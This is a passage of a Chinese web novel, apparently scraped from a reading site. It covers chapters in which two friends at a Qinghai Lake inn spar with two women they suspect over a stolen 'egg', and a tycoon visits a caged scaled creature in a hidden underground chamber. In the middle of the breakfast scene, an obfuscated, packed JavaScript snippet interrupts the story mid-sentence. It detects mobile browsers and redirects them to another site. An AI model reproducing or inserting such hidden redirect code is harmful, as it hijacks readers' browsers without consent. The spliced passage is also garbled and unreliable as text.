周游被恶心的嘴角直抽抽,好不容易才忍住了爆粗口的冲动,狠狠瞪着二百八,讽刺道:“你再叫唤两声,这伤口都愈合了!刚刚劲头不是挺好的嘛,一张嘴叭叭的,唾沫星子都快喷我脸上了,怎么?这会儿又不行了?你是属变色龙的啊?一会儿一个样?” 二百八也不生气,乐呵呵上赶着套近乎:“哎呀,咱两兄弟谁跟谁啊,我出去住不是见外了嘛!!” 周游似笑非笑:“谁跟你是兄弟?” 二百八没皮没脸地继续说:“哎呀,怎么就不是兄弟了,就不说咱以前的交情了,咱们刚刚可是一起经历了生死的!不管你当不当我是好兄弟,反正我把你当兄弟……” 周游翻了他一眼:“少跟我提以前啊,再说了,我是因为谁才来这里的?还不是因为你,结果想看的东西没看到,还惹了一身骚!” 一听这话,二百八不服气了,低声嘟囔起来:“怎么这也怪到我头上了,还不是你自己愿意来的……” 说完,还拿小眼神偷偷瞄了瞄周游,周游只听见他嘴里嘀哩咕噜的,也不知道在说什么,但估摸着应该没什么好话,于是眼睛一横:“说什么呢?” “没什么!我就是在想现在这种情况,我们分开住有风险,你想啊,对方到底是什么身份,目的是什么,还有我们被送回了家里,冷晚晚她们又是怎样去了那么远的地方,还有上次我们在修车铺铺看到的男人是谁?西瓜皮肯定还有别的同伙没现身呢!还有……西瓜皮口中的冷家又是谁?你看这么多疑问咱们都还没有理清呢,你现在让我走,不是让人乘虚而入嘛……” 说到这里,他停了一会儿,拿起茶几上的水杯,猛灌了一口水,然后偷偷观察了一下周游的表情,继续说:“再说了,你这房不现成的吗?咱俩这么多年没见了,这不正好住在一起叙叙旧么……” 他倒是说得有理有据,把一直伏在周游心中的疑问一口气都说了出来,周游沉默了一会儿,斜眼看他:“你这意思,你还要住在这儿?” 二百八顺势往沙发里一躺,非常通情达理地表示:“我就睡沙发挺好,我不挑的!” 话音刚落,他身下的沙发一声吱呀裂响,吓得他一下子从沙发上窜起来,他呆愣愣地看了看沙发,又看了看周游,腆着张大脸,小心翼翼地试探:“那要不然,我跟你一起睡床吧?这沙发我怕塌了……反正……反正这床看起来也挺宽的……” 他还没说完,周游白眼一翻,没好气打断:“滚!你再多说一句,连沙发也没了!” 二百八一听这话,便知道周游不是真要撵他走,只是嘴巴上说说而已,他在外面混了这么久,深知见好就收的道理,于是立马做出拉链锁嘴的动作,乖乖闭上了嘴巴,然后小心翼翼撅着屁股,试探着又重新坐回沙发里。 房间里顿时安静下来,只能听见窗外呼呼的风声和周游擦头发的细碎声,二百八一会儿看天花板,一会儿看电视,一会儿看窗外,一会儿又看向周游,闭麦的世界真是百无聊赖。 他这人天生话痨,没人的时候都能自言自语半宿,现在不让他说话,简直比要了他的命还难受,他忍了又忍,足足撑了十分钟,终于忍不住了,刚想张嘴,又想起之前周游让他闭嘴的话,于是不得不尝试闭着嘴用武侠片里那种腹语的方式啃啃唧唧地说话。 周游听着他怪声怪调说了半天,愣是一句话没听明白,不耐烦地说:“要说话就好好说!” 这下二百八如得赦令,赶忙问:“今天咱们去哪儿?还去修车铺看看?” 话音刚落,他肚子就咕咕叫起来,突如其来的饥饿抗议,一下子打断了原本的话题,二百八摸摸肚子,又挠挠头,不好意思地笑着解释:“昨晚没吃饭,肚子里没存货了……” 说着,肚子又此起彼伏的叫起来,一阵接一阵的,跟在肚子里点了鞭炮似的,他急了眼,对着肚子就是一顿猛拍,结果没啥效果,该叫还是叫,他没招了,开始跟肚子放狠话:“别叫了,你再叫,小心我过会儿撑死你!” 周游:“……” 昨晚他们从修车铺出来时已经凌晨了,到观澜客栈办完入住,两个人累得连澡都没洗,倒下就呼呼大睡,一晚上没吃饭,这会儿是该肚子饿了。 周游拿手机看了看时间,冲二百八摆了摆下巴:“走,先吃饭!” 二百八一听要吃饭,忙一骨碌爬起来,摸着肚子应道:“走走走,饿死了!” 这会儿正是吃早餐的点儿,客栈餐厅里零零散散坐了几桌客人正在吃早餐,客栈里的早餐很简单,只有包子、稀饭、鸡蛋和咸菜的套餐,按人头收费,20元一个人。 两人昨晚饿了半宿,这会儿正食欲大开,早上吃这些感觉清汤寡水的,差点意思,二百八跟央金一早就相识,周游便撺掇二百八去跟央金说说,让厨房给安排个热锅米饭什么的。 二百八也正有此意,直接大剌剌跑到厨房跟老阿妈们交涉去了。 周游则找了一个靠窗的位置坐下来,左看看右看看,末了掏出手机来看,竟发现有一个吴沅的未接来电,看时间是凌晨,应该是睡着了没听到,周游担心吴沅有什么急事,赶忙起身往餐厅侧门走,顺便扬手跟厨房里的二百八打了个招呼,示意自己先出去打个电话。 餐厅侧门外就是青青草地连接着碧蓝的青海湖,他拉开玻璃门,晨间的凉风扑面而来,他倚在门口的楼梯扶手上回拨了电话。 听筒里传来嘟嘟嘟的等待音,等了好一会儿,就是没人接电话,周游看了看手机屏幕,有点纳闷,嘴里嘀嘀咕咕:“这小子到底干嘛去了,也不接电话!” 接着连打了好几个也没人接,他心想着算了,要是吴沅真有急事,肯定还会打过来,于是收起手机,准备拉门进去,就在这时,一辆车朝着客栈疾驰而来,眨眼就到了眼前,然后一个旋风摆尾,轮胎疯狂摩擦地面,卷起一地草屑和尘土,紧接着一个急刹车,车正正好停在了大厅门口。 这番操作看得周游微微皱起眉头,叹道:“又是哪个疯子,真把青海湖当赛车场了!” 话音刚落,就看见冷晚晚和小夭气呼呼地从车上下来,周游眼睛唰一下就瞪大了。 “怎么是她们?怎么了这是,火气这么大?” *** 18. 交锋 周游视线一路跟随冷晚晚和小夭,直到两人快步走进客栈大厅,他才一脸疑惑地推门进了餐厅。 菜已经上桌,二百八正伸着脖子朝门口张望,见他进来了赶忙朝他招手。 “快快快,菜好了,耗牛肉番茄锅,这里的招牌菜,你应该吃得惯!” 二百八一边说着,一边帮周游摆好了碗筷,周游走到桌边一屁股坐下,二百八早已等不及了,拿起汤勺就从锅里舀出一大碗肉,也顾不得烫不烫,呼噜噜吃起来。 周游没动筷子,盯着二百八,低声说:“她们回来了。” 二百八埋着头,嘴巴里塞满了食物,含混地问:“谁啊?谁回来了?” “冷晚晚。” 二百八猛然抬头:“冷晚晚?她们怎么又回来了?” 两人正说话呢,就听见踢踢踏踏的脚步声往餐厅来了,几秒后,冷晚晚和小夭推门进来,视线在餐厅里扫了一圈,想找个靠窗的位置,看到周游和二百八也在,冷晚晚跟小夭使了个眼色,两人一齐大踏步走了过来。 冷晚晚不声不吭,径直坐在周游身边,小夭叼着根棒棒糖,坐在了二百八旁边,两人没说话,脸色都不太好看,冷晚晚看了看桌上的菜色,扬手冲着厨房里的老阿妈喊:“阿妈,这边,再加两碗米饭。” 一个老阿妈从窗口探出头,见是冷晚晚和小夭来了,就笑着应下了。 二百八盯着两人看了看,赶忙咽下嘴里的食物,好奇地问:“你们电话里不是说有事儿吗?怎么这会儿又回来了?” 小夭白了他一眼,用力咬碎了嘴里的棒棒糖,语气很冲:“事没办成呗!” 二百八被噎得半死,对方显然正在气头上,他自知惹不起,只能闭嘴,埋头干饭。 周游看着二百八吃瘪的样子,靠在椅背上差点乐出声来,二百八一脸哀怨地抬头,拿小眼神看他,嘴巴冲着他无声地骂骂咧咧起来,就在周游幸灾乐祸的时候,小夭又一个白眼杀过来,冷着脸对他说:“你笑什么啊?有什么好笑的!” 周游有些尴尬,立马收敛了笑容,回避视线咳嗽了几声,强装镇定地端起面前的杯子喝起水来,这下笑容立马转移到了二百八脸上,他冲着周游挤眉弄眼,贱嘻嘻地笑,那意思分明就在说,咱俩啊彼此彼此。 周游心里有点不爽,心想这大姐是吃了枪药了吗?自己也没惹她,这么大火气干嘛?想着想着,直接脱口而出:“这是怎么了,这么大火气?!” 这不提还好,一提冷晚晚和小夭的火气又蹭蹭蹭上来了,冷晚晚腾一下站起身来,说道:“我去喝口水。” 说完,噔噔噔就朝着门口的茶水桌去了,小夭见状也跟着站起身来,她用力嚼着嘴里的糖块,发出愤怒的咔嚓咔嚓声,然后也跟着往茶水桌去了。 她们像是渴极了,站在茶水桌旁,一杯接一杯地倒大麦茶,扬脖子就大口大口喝起来,看来气得不轻。 两人刚一走,二百八就朝周游那边伸了伸脑袋,压低声音,开始八卦:“我看,这俩人这么生气肯定跟那个男人有点关系!你说气就气吧,跟我们撒什么气啊!” 周游瞥了他一眼:“男人?什么男人?” “我早上找央金要毛巾的时候,央金告诉我冷晚晚和小夭回来了一趟,还是一个男人开车给送回来的,不过后来又前后脚走了……” 周游满脸疑问:“男人送回来的?这男人央金之前见过吗?” “央金说没见过,她以为那男的是那种专门在路上骗姑娘的混子,还提醒了冷晚晚,没想到冷晚晚说那个男人是她和小夭的哥哥……” 一听这话,周游脑子里轰地一声:“哥哥?” “对啊!怎么了?” 周游看着二百八露出清澈而愚蠢的眼神,无语道:“这事儿你怎么不早点说?! 二百八不明所以,一脸委屈:“人家哥哥来看她们,有什么问题?再说了,你也没问啊!” “央金还有没有说别的什么事儿?” 二百八抓耳挠腮地想了想:“还有……就是央金说那男的长得还行,不过……” “不过什么?”周游追问。 二百八突然冲着周游龇牙一乐:“没你帅!” 周游:“……” 周游低着头,手指头一下一下敲击桌面,嘴里低声念叨:“男人?哥哥?男人……哥哥……” 这两个词,像是无形中将原本碎片化的故事勾连在了一起,他一遍遍念叨,像是想要从这几个字中咂摸出事情的发展脉络来。 脑中思绪飞转,他回头看向门口的茶水桌,此时冷晚晚和小夭正聚在一起,低头不知在悄声说着什么,两人见他回头,也同步看过来,刹那间的对视,冷晚晚突然冲着他嫣然一笑,露出两个好看的酒窝。 周游心里一突,愣了几秒,之后才尬笑地回应了一下。 就在这时,一个大胆的推论在他心里成型,他小声分析给二百八听:“一个男人把她们安然无恙地送回来,并声称是她们的哥哥,那就表示,昨晚她们很可能就是跟这男人在一起的,再往前推,她们从修车铺消失,很可能就是被这个男人带走的……所以……” “啊……那万一人家只是偶然遇到了呢?”二百八提出不同意见。 周游摇摇头:“大西北这么地广人稀的,这种程度的偶遇太不合常理了……而且听冷晚晚电话里那意思,她们离开修车铺之后,就被带去了一个很远的地方,要回来得连夜开车开很久……” 二百八越听越不对劲,心里慌慌的,他咽了咽口水,顺着周游的推论继续往下说:“所以……如果那个男人能将她们安全带走,就说明他要么跟修车铺那伙人是一伙儿的,要么至少是认识的……” “不错!”周游点点头。 “如果真是这样,带走了,为啥还要带回来?”二百八不解。 周游也有点想不明白,他眉头皱了皱,猜测道:“也许,他们的目的还没达成?” “目的?什么目的?你别吓我啊?这一天天的怎么竟上演悬疑剧情了!”二百八欲哭无泪。 “对了!!” 周游脑子飞速旋转,突然想到了什么,再看向冷晚晚时脸上露出异样的神色。 “怎么了?又怎么了?”二百八一惊一乍的。 周游立马一个眼刀杀过去,用眼神提醒二百八镇定点,这种时候千万不要打草惊蛇,二百八只得瘪嘴点点头,表示自己知道了。 “你还记得西瓜皮提到的冷家吗?”周游接着说。 二百八突然顿悟:“啊!那个冷晚晚也姓冷……不会吧……” 话虽没说完,两人四目相对,一切尽在不言中,突然一股寒意从脚底起。 二百八最开始听央金说有个男的送冷晚晚她们回来时,根本没多想,毕竟漂亮姑娘谁不是身边哥哥弟弟一大堆的,现在听周游这么一分析,顿时觉得事情很不简单,一时间心脏砰砰砰狂跳起来。 他赶忙问:“那咱们现在怎么办?敌暗我明的,要不然先跑路?” 周游白了他一眼:“跑什么跑?就知道跑!” 周游毕竟在外历练得久了,面对眼前的状况倒也冷静,他看着锅里不断翻腾的汤头,若有所思地说:“先看看她们过会儿怎么说,要是……” 他正说着话呢,二百八突然冲着他挤眉弄眼,又用吭吭唧唧的腹语低声喊:“来了,来了,她们过来了!” 这一次,周游终于听明白了,赶忙闭上了嘴。 “刚刚聊什么呢?这么面色沉重的?”冷晚晚火气似乎消了不少,笑意盈盈地走到周游身旁坐下。 美女的笑容本应该是赏心悦目的,但此时再见到,只觉得瘆得慌,脊背一阵发凉。 周游胡乱编了一个说头:“哦,二百八说起昨天的事还心有余悸呢!” 二百八反应很快,赶忙在一旁附和:“对对对,我们刚刚还说遇到这事儿能捡回一条命,也是运气好!” “是嘛?”冷晚晚将信将疑,眯起眼睛看向两人,活像一只狡黠的猫。 原先二百八只当冷晚晚是个冷艳的美女,但刚刚一翻推导后,再看向冷晚晚时,怎么看都像是一个善于计谋的蛇蝎美人,虽然美,但致命,提心吊胆地小心应对着,生怕被对方看出端倪,再没半天觊觎之心了。 短暂的对话停止,周游心不在焉地喝起了汤,二百八则继续埋头干饭,一时间气氛沉闷,冷晚晚以为是刚刚惹他们不高兴了,确实是她们没控制好情绪,不应该把火气撒到无关的人身上。 她这人虽说脾气不好,但是是非对错还是分得很清,于是很快调整好状态,跟两人道了歉:“刚刚不好意思啊,我跟小夭在气头上,说话可能有点不好听,你们别生气哈!” 一听这话,周游来劲了,顺势接过话头:“那说说呗,是被哪个二百五气的,我跟二百八去帮你们出出气!” 出气是假,试探是真,周游说完,冷眼观察着冷晚晚和小夭的反应。 冷晚晚笑了笑,没接茬。 周游见状,冲着二百八使了使眼色,二百八这次终于聪明了一回,立马明白了周游的意思,于是装作无意地问道:“唉,我早上听央金说是一个帅哥把你们送回来的啊?” 周游在一旁装模作样,一脸惊讶:“帅哥?在哪里?怎么也不介绍我们认识一下?” 冷晚晚看了两人一眼,她不傻,自然知道这两人你一言我一语是在配合表演,就连一旁的小夭都看出了端倪,估摸着他们也许知道了些什么。 冷晚晚眉头微不可查地皱了一下,之后莞尔一笑,干脆地回答:“是,不过人已经走了,你们想看也没机会了。” “唉,你们是怎么离开客栈去了那么远的地方啊?到底出了什么事儿?是那个帅哥救了你们吗?”二百八继续追问。 冷晚晚神情自若,不答反问:“你们呢,怎么又重新去了修车铺呢?” 不等他们回答,又似笑非笑地问:“我猜,你们一定是被偷了很重要的东西吧?” 这句话看似无关紧要,但冷晚晚的眼神和表情令人玩味,在说到最后几个字的时候,还刻意加重了读音,摆明了像是知道些什么,这也让周游和二百八迅速抓住了两个重点信息,一个是他们先前的猜测大概率是真的,二是冷晚晚很可能知道关于那个“蛋”的秘密。 眼前的局面一下子就变得有趣起来。 周游面上浮出淡淡的笑意,他调整了一下坐姿,面朝冷晚晚方向转过身子,后背抵在墙上,意味深长地盯着她看,冷晚晚感受到灼灼的目光,也不闪避,扭头直直地迎上去,两人四目相对,一时间刀光剑影,争锋相对,两人看似沉默不语、波澜不惊,实则眼眸之下早已暗流涌动,你来我往,试探意味浓烈,双方那些或明或暗的小心思已经呼之欲出。 周游这边已经猜了个七八分,而冷晚晚这边也不是全然没有防备。 其实,冷晚晚从格尔木回来的一路上就想着该如何向周游和二百八解释这件事情,毕竟这事儿跟冷家有牵扯,她有心想要护着佟刚,但又无法将这件事圆得天衣无缝,着实有些发愁,但是转念一想,周游和二百八的行为上似乎也有很多说不通的地方。 比如,出了这件事,两个人为什么不着急报警?他们在害怕什么?还是想要隐瞒什么?他们为什么又重新去了修车铺?以她对二百八的初步了解,这种把利看得很重的人,绝对不是一个可以为了狗豁出性命的人,所以二百八当初死命要追击小偷,绝对还有更重要的原因!比如,被偷了很重要的东西!至于是什么东西,大约是见不得光的。 这么来看,对方也并不是那么光明磊落,既然大家身上都罩着一层阴影,冷晚晚反而觉得处理起来容易多了,也没什么心里负担了。 时间一分一秒过,四周的空气仿佛都静止了,二百八饭也不吃了,眼珠子滴溜溜在几个人脸上来回打转。 一旁的小夭简直心乱如麻,赶忙掏出一根棒棒糖,撕掉糖纸,塞进嘴里嘎吱嘎吱咬起来,她心里有些不安,主要还是担心佟刚,生怕周游和二百八发现了真相去报警,虽然这次的事让他对佟刚很失望,但到底是喜欢了这么多年的人,还是不想看着他出事。 眼下对方明里暗里的话都指向了佟刚,搞得她心里七上八下的,眼看着就要坐不住了。 “菜来了~” 厨房的老阿妈突然端着托盘过来了,原本紧张的氛围得以稍稍缓解,老阿妈笑眯眯地把托盘上的饭和菜搁在桌上,转身就要走,小夭一看多了一盘煎鸡蛋,赶忙喊住老阿妈。 “阿妈,我们没点菜!” 老阿妈笑着说:“你跟晚晚不是爱吃阿妈煎的鸡蛋么,这是阿妈送你们的菜!” 小夭一听,连忙道谢:“那就谢谢阿妈啦!” 说着,冲老阿妈甜甜一笑,别看小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319320|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夭平时嘴巴毒得不行,恨不得见人就放毒箭,这种时候倒是很会卖嘴乖,甜得很。 老阿妈一走,气氛再度凝结。 周游思绪纷然,手指头擦着面前的饭碗边转呀转,最后用食指弹了一下碗边,发出叮一声脆响,他率先打破沉默,一脸不爽地问:“怎么?你们打算什么都不说,就这么耗下去?” 冷晚晚面不改色,眉头微挑,下巴朝着老阿妈刚送过来的菜指了指:“要不然我们先吃饭?其他的事慢慢再议?别枉费了阿妈的一番好意嘛!煎鸡蛋凉了可就不好吃了!” 她说着拿起筷子,夹了一块煎鸡蛋就送进嘴里,小夭看了看冷晚晚,又看了看周游,正迟疑呢,冷晚晚看了她一眼,说道:“看什么呢?吃啊!” 小夭得令,赶紧嘴巴嚼吧嚼吧,把糖都咽下去,跟着动了筷子,两人就这么你一筷子我一筷子,不一会儿那盘煎鸡蛋就少了大半。 这是什么路数?刚刚还争锋相对,这会儿又突然食欲大开了?周游和二百八有些摸不着头脑,久久地盯着眼前两个认真干饭的女人。 冷晚晚被盯得烦了,突然抬头看向周游,暧昧一笑:“就这么好看吗?嗯?一直看?” 突如其来的语言挑逗,让周游有一瞬的慌神,他赶紧移开视线,不过下一秒就意识到这种闪避恰好暴露了自己的内心,不异于暴露自身弱点,于是强装无事发生,又移回目光,摆出一副玩世不恭的姿态,调笑着说:“怎么?看一下也不行?” 冷晚晚盯着周游看,心里冷笑:跟我玩这套是吧? 她其实早就看透了周游的外强中干,这人表面看像是个浪荡公子,其实是个十足的老实人,初见时,在车里的对话她就看出来,他这人十分不擅长跟女人周旋,女人稍微进攻他就慌不择路,吓得要死,眼下倒又装起来了。 冷晚晚眉毛一挑,逗弄的心思上头,于是放下筷子,双手抱臂支在桌上,冲着周游微微一笑,然后突地一下子倾身凑到他眼前,两人瞬间近得几乎面贴面,柔和温软的香气一下子扑将过来,周游猝不及防,瞬间呼吸一窒,像是被人点了穴,僵在原地,一动也不敢动。 “行,那就让你看个够!”冷晚晚笑意盈盈地看着周游,露出两个好看的酒窝。 说完,她越靠越近,两人的鼻子和嘴巴几乎碰到一起,温热的鼻息混着着冷晚晚身上淡淡的幽香,分外撩人,周游咽咽了口水,下意识地往后退,一直退到后脑勺抵住墙壁,实在退无可退,这才慌乱地双手放在胸前格挡,结结巴巴地开口:“你……干……干嘛?” 冷晚晚细细打量周游,见他慌乱无措,脸几乎红到了脖埂子,脸上露出得逞后的得意笑容,她这才慢悠悠挪动身子坐回了原位,漫不经心地调侃:“你脸红什么啊?” 周游脑瓜子有些凌乱,一时慌不择口,随便找了一个借口:“刚……刚吃饭,吃得热……热了。” 冷晚晚装出恍然大悟的样子:“是这样啊!” 末了,低头扯了扯嘴角。 二百八坐在对面,饶有兴致地看着两人上演这出“妖娆美女戏帅哥”的戏码,一脸按耐不住的兴奋劲儿,把先前争论的事由统统抛之了脑后,一双小眼瞪得溜圆,两人一靠近他就吱哇乱叫,引得食堂里的几桌客人频频回头,小夭用胳膊连撞了他好几次,还赏了他好几个白眼,他这才闭紧了嘴巴,满眼艳羡地看向周游。 心里不住地感叹——真是人比人得死,货比货得仍,人长得帅就是好!人家美女都是主动贴贴。不像他,别说和美女贴贴了,就稍微靠近一点,人家都想报警……唉,人和人的差距咋这大呢……想到这里,二百八满脸哀怨。 反观小夭就淡定许多,她兴趣寥寥地盯着对面的两人看了一阵,面无表情地嚼着嘴巴里的食物,心里倒是有些纳闷,冷晚晚之前不还嫌弃这男的傻吗?咋这会儿又来了兴趣,还调戏上了?还是说这是一种策略,为了转移佟刚这件事的关注点? 正想着,只见冷晚晚瞬间敛了笑意,坐回座位,就跟没事的人一样,继续埋头干饭,就像刚刚什么也没发生一样,反观另一边的周游,此时还在发懵,跟丢了魂一样。 小夭早已见怪不怪,忍不住在心里吐槽:“啧啧啧,这个冷晚晚,老搞这种吃干抹净的事!这男的惨啰,我看迟早要落在冷晚晚手里!” 想到这里,小夭一脸同情地看向周游,嘴巴暂停了几秒咀嚼的动作,算是为他未来的人生默哀三秒钟。 经过刚刚的打岔,大家一时都还没回过神,发呆的发呆,看戏的看戏,像是都已经忘了“前尘往事”了,倒是冷晚晚云淡风轻地提醒了一句:“赶紧吃饭啊?吃完好聊聊刚才的正事!你们想知道的和我们想知道的都一样。” 这女人还真是有些莫名其妙,一会儿这样一会儿那样,周游被弄得头昏脑胀,在意识到被戏耍后,一时火气上涌,但又实在不好发作,只能咬牙忍住,他莫名觉得自己有种被人玩弄于股掌之间的感觉,这种感觉非常不妙,但眼下想要弄清楚真相,又没有更好的办法,只能静观其变,看对方主动出什么招。 既然要吃饭就吃嘛,吃一顿饭也不会耽误什么,周游顺了顺气,又用力眨了眨眼,强自振作了一下精神,无意间瞥了二百八一眼,只见他一条胳膊支在桌上,托着他那硕大如盆的脸盘子,一会儿看冷晚晚,一会儿看周游,末了冲着周游龇牙贱笑,眼神暧昧。 周游自然知道他在笑什么,有些尴尬,清了清嗓子,低头冲二百八说:“吃饭!吃饭!” 说完,就从汤锅里舀了一勺牦牛肉搁在碗里,刚埋头吃了一口,冷晚晚突然转头,对着周游没头没尾来了一句:“之前的。取消。” 周游满脑子问号:“什么?取消什么?” “说你傻的话,取消,现在看来,你也不是完全傻的,还有救。” 冷晚晚说完,扯了扯嘴角。 周游无语。 几人安静地吃了一会儿,忽然一阵女人的惊呼声从窗外传来,那声音凄婉哀绝,听得人心尖发颤,餐厅吃饭的人纷纷停下筷子,往窗外看去。 只见湖边站着一个中年妇女,惊慌失措地朝着客栈这头招手呼救:“救命,救命!我女儿被拖进湖里去了!” 她一边声嘶力竭地喊,一边往湖里看,此时湖面波浪翻叠,她女儿早已没入水中没了踪影,她当即腿下一软,整个人扑倒在地,崩溃大哭起来。 *** 19. 秘密地下室 荆水,别墅区。 刚刚下过阵雨,气温骤降,别墅区的花花草草喝饱了水,一派生机焕发的模样,空气也变得格外清新舒爽。 冷柏山早早从公司回来,简单吃了点晚饭,照例出去别墅外散步了一圈,回来时,芳姐正在厨房擦洗灶台和抽油烟机,听见客厅有动静,知道冷柏山回来了,赶忙探出头来询问:“要不要给您热一杯牛奶?” 冷柏山摆摆手:“不用了,你忙完就早点休息去吧!” 说着,慢慢踱步往楼上走。 这些年,冷柏山有个规矩,那就是晚上只要他上楼了,屋里就一定要保持安静,任何人都不能上楼打扰。 芳姐见状,赶忙打扫完,回了自己一楼的小房间,躺在床上打开电视,尽量把电视的音量调小。 冷柏山一进书房,就回身反锁了门,又走到窗边把窗帘都严严实实地拉上,他四处看了看,确认无误后,走到办公桌旁,拿起挂在办公椅上的外套,快步走到墙边一个一人来高的保险柜前站定。 这个保险柜是嵌入式的,直接嵌在墙里,他快速输入密码,柜门随即打开,露出里面好几个隔层,都放满了各式各样的文件,他伸手到第一层最里面摸了摸,摸到一个凸起的小按钮,轻轻按下,咔哒一声,里面的结构竟然有机关,会整体自动往外移。 冷柏山往后退了一步,等里面的隔层都移了出来,他又伸手把隔层往旁边推了推,这才露出保险柜最里面隐藏的光景——一道棕红色的门,带着电子密码锁。 冷柏山快速输了密码,拉开门就钻了进去,保险柜紧接着开始自动还原,柜门也自动关上,一切又恢复了原状,任谁也想不到保险柜里竟然还藏着这样的机关。 棕红色门后,是一条向下的黑暗通道,冷柏山轻轻剁了剁脚,通道里的感应灯应声而亮,终于显出通道的样子来,拱形顶,大概一米来宽,一人多高,一级级台阶蜿蜒而下,通道里隔几米就有感应灯,他往下走,灯就依次亮起。 向下约莫走了四五分钟,通道开始变得平坦了,就这么又走了十来分钟,通道突然又开始向上,顺着光线往上看,一级级台阶径直往上,通往视线尽头的暗处。 冷柏山一口气爬了一段,后背都微微出了汗,仰头往上看,刚好视线尽头的灯光亮起,又一扇棕红色的密码门赫然出现在眼前,他加快脚步走到门前,输入密码,叮铃一声,门应声而开,耳畔顿时响起了潺潺的流水声。 他反手关上门,昏黄的灯光亮起,眼前是一条幽深的走廊,一头连接着一个下沉式的微型生态花园,整个被玻璃罩了起来,里面假山流水,鱼儿欢腾,苔藓新鲜翠绿,绿藤曲折缠绕,水汽氤氲,透过花园上方的玻璃天顶,能隐隐看到外头星星点点的夜空。 这里,其实是距离他家百米之隔的另一栋别墅,也是他的秘密基地。这一片别墅区都是冷家旗下的地产公司开发的,因而他才有机会在别墅下开拓出这样一个地下空间。 冷柏山先绕着花园走了一圈,刚好遇上自动喂食器投喂鱼食,定时的声音嘀嗒一响,水池里的鱼就像炸了锅似的,躁动不安起来,跟别处观赏类的鱼不同,这水池里的鱼没有鲜亮的颜色,也没有独特的造型,个头也不大,看起来普普通通的,攻击力却很强,鱼食刚落水,那些鱼就从四面八方挤涌到一处,跟饿虎扑食似的,扑抢的水花四溅,不少鱼甚至跃出了水面,四周的灯光打到鱼身上,显出阵阵银白色的寒光。 冷柏山盯着鱼群,出神地看了好一会儿,才调转方向,往走廊的另一头走,四周安静极了,只剩下鞋底砸在地面,发出哒哒的轻响,在空间里一漾一漾的回荡。 这地下空间很大,走廊的另一头分布着各种功能分区的房间,有茶室、健身房、影音室,他先去茶室拿了一件外套,随后径直走到尽头,立在一面白墙前,末了伸手敲了敲墙面,原本平滑的墙面突然平行移动起来,眨眼就露出了一个一人来高的入口。 原来那是一处暗藏玄机的隐形门。 身子从入口探入,迎面就是一股陈年的霉味儿,只见里头是个四四方方的小空间,堆满了乱七八糟的纸箱子,箱子上积了厚厚一层灰,看起来像是个许久未用的杂物间,视线一一掠过,最后停留在了角落的一扇矮门上,这门很奇怪,又矮又窄,差不多只有正常门的一半高,被杂物堆叠遮挡,很容易被忽视。 冷柏山轻车熟路地走过去,弯腰打开门,里面的凉气瞬间窜出来,周身的气温都跟着陡然降了好几度。他立马穿上准备好的外套,下意识裹紧身体,俯身跨了进去。 这门虽然又矮又窄,但里面的空间足够人直立行走,他站定定了定神,待眼睛适应了昏暗的环境后,才快步往里走,里面温度低得很,四周的寒气直往衣缝出钻,跟进了冰窖似的,冷柏山被冻得哆哆嗦嗦往里走,四周安静极了,只能听到细碎的脚步声,还有细听之下的微微水声。 里面的布局很怪,走道弯弯曲曲,一会儿向左一会儿向右,他跟着转了好几个弯后,眼前的空间一下子豁然开朗起来,借着微弱的光线,能看见地面中心位置放着一个硕大的玻璃鱼缸,里面悬着一个比例小一点的铁笼子,铁笼子里面似乎还关着什么东西,黑乎乎一团。 凑近了看,只见那东西浑身长满了鳞片,缩成了一个球状,一动不动,静浮在水中,不注意看还以为是悬空了一般。 冷柏山眉头紧蹙,面色凝重地紧盯着那东西,一步一步走近,他把手按在玻璃缸上,冰冷刺骨的寒气瞬间透过手掌直达全身,激得他浑身一抖,但还是咬牙挺住,没有把手移开。 就这么定定地站了一会儿,他又往前凑了凑,脸几乎贴在鱼缸上,因为寒冷,上下牙关都忍不住打颤,他断断续续低声说起话来。 “仲明啊,这么多年了……我用了那么多方法都没搞明白……你能不能告诉我当年到底发生了什么?!你为什么会变成这样?” 鱼缸里静悄悄的,一片巴掌大的鳞片无声脱落,在水中旋转摇曳。 *** 隔天,都快十点了也没见冷柏山下楼来,芳姐估摸着他昨晚肯定又忙到很晚,于是把早餐准备的包子和稀饭都热在蒸箱里,自己换了身衣服,戴上遮阳帽,就去院子里干活儿了。 冷家其实没有多少活儿,家中常年就冷柏山一个人,他对吃不挑剔,日常打扫又有洗衣机、洗碗机,连扫地都有扫地机器人,别墅虽然面积大,但平时也就一层需要她收拾,二层是冷柏山的书房和卧室,他吩咐过,日常不用打扫,衣服、床上用品他会自己换下来拿到楼下洗衣房。 对普通打工人来说,相同的工资肯定盼着活儿能少点,但芳姐这人不一样,忙惯了,根本闲不下来,再说了,她深知无功不受禄的道理,这么些年冷家对她各种照顾,她觉得太清闲了反而不好意思,跟养了个闲差似的。 所以没事儿就自己找活儿干,屋里打扫完了就去整理院子,浇花、除草、剪枝、施肥,这些活儿她以前在乡下就常干,这属于专业对口,干起来也顺手,于是原本要找专人打理的花园,她一个人全包了。 外头太阳明晃晃照着大地,暑气开始蒸腾,芳姐戴着遮阳帽在院子里忙得热火朝天,这头刚给院墙外密密挨挨的矮冬青剪了造型,接着又去打理前后院的残花,芳姐虽然忙得满头大汗,但是心情不错,一边拿着剪刀咔嚓咔嚓修剪花枝,一边轻哼着小曲,格外悠闲惬意。 就这么忙了好一阵儿,工作进入尾声,芳姐开始收拾剪下的枝枝叶叶,偶然一抬头,瞥见别墅二楼冷柏山房间的窗帘还拉得严严实实的,顿时觉得有点奇怪,往常冷柏山就算工作到再晚,也不会这个时候还不起床啊,她心里隐隐有些担心,生怕出什么事儿,于是忙不迭地掏出手机,给楼上的冷柏山打了个电话。 等待了几秒后,一个女声传了出来:“对不起,您拨打的用户正在通话中……” 芳姐又看了眼窗户,心里犯起嘀咕:“这是已经起了?怎么这半天不下楼呢?” 